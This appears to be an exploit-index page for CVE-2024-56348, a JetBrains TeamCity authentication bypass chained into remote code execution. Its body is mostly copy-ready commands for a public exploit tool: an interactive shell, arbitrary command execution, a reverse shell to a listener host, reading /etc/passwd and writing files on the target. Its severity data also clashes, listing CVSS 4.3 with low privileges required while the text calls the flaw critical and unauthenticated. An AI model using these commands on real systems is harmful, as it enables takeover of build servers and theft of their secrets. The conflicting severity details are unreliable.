# CVE-2024-56348 - JetBrains TeamCity Authentication Bypass + RCE

- **URL:** https://hackindex.io/vulnerabilities/CVE-2024-56348
- **CVE:** CVE-2024-56348
- **GHSA:** GHSA-jmfh-38x7-p523
- **CVSS score:** 4.3
- **CVSS vector:** CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
- **Type:** CWE-863
- **Complexity:** LOW
- **Privileges:** LOW
- **Affected versions:**  < 2024.12
- **Patched versions:**  >= 2024.12
- **Published:** 2026-03-08
- **Updated:** 2026-03-30

CVE-2024-56348 is a critical authentication bypass vulnerability in **JetBrains TeamCity on-premises** affecting all versions prior to **2024.12**. The REST API improperly handles requests to paths containing `;.jsp`, allowing an unauthenticated attacker to invoke any REST endpoint as if fully authenticated.

This exploit chains the bypass with TeamCity's own REST API to create a `SYSTEM_ADMIN` account, mint an API token, and achieve **full remote code execution** ,  either through the built-in debug endpoint or a dynamically uploaded JSP plugin webshell. No credentials required.

**Affected versions:** JetBrains TeamCity on-premises < 2024.12

#### Interactive shell

**[joshuavanderpoll/CVE-2024-56348](https://github.com/joshuavanderpoll/CVE-2024-56348)** - JetBrains TeamCity <2024.12 auth bypass + RCE exploit

```bash
go run github.com/joshuavanderpoll/cve-2024-56348@latest -t http://$TARGET_IP:$TARGET_PORT
```

#### Single command

**[joshuavanderpoll/CVE-2024-56348](https://github.com/joshuavanderpoll/CVE-2024-56348)** - JetBrains TeamCity <2024.12 auth bypass + RCE exploit

```bash
go run github.com/joshuavanderpoll/cve-2024-56348@latest -t http://$TARGET_IP:$TARGET_PORT -command "id"
```

#### Reverse Shell

**[joshuavanderpoll/CVE-2024-56348](https://github.com/joshuavanderpoll/CVE-2024-56348)** - JetBrains TeamCity <2024.12 auth bypass + RCE exploit

```bash
go run github.com/joshuavanderpoll/cve-2024-56348@latest -t http://$TARGET_IP:$TARGET_PORT -shell -lhost 10.0.0.1 -lport 4444
```

#### Read FIle

**[joshuavanderpoll/CVE-2024-56348](https://github.com/joshuavanderpoll/CVE-2024-56348)** - JetBrains TeamCity <2024.12 auth bypass + RCE exploit

```bash
go run github.com/joshuavanderpoll/cve-2024-56348@latest -t http://$TARGET_IP:$TARGET_PORT -read-file /etc/passwd
```

#### Write File

**[joshuavanderpoll/CVE-2024-56348](https://github.com/joshuavanderpoll/CVE-2024-56348)** - JetBrains TeamCity <2024.12 auth bypass + RCE exploit

```bash
go run github.com/joshuavanderpoll/cve-2024-56348@latest -t http://$TARGET_IP:$TARGET_PORT -write-file /tmp/readme.txt -file-content "LEAVE ME HERE"
```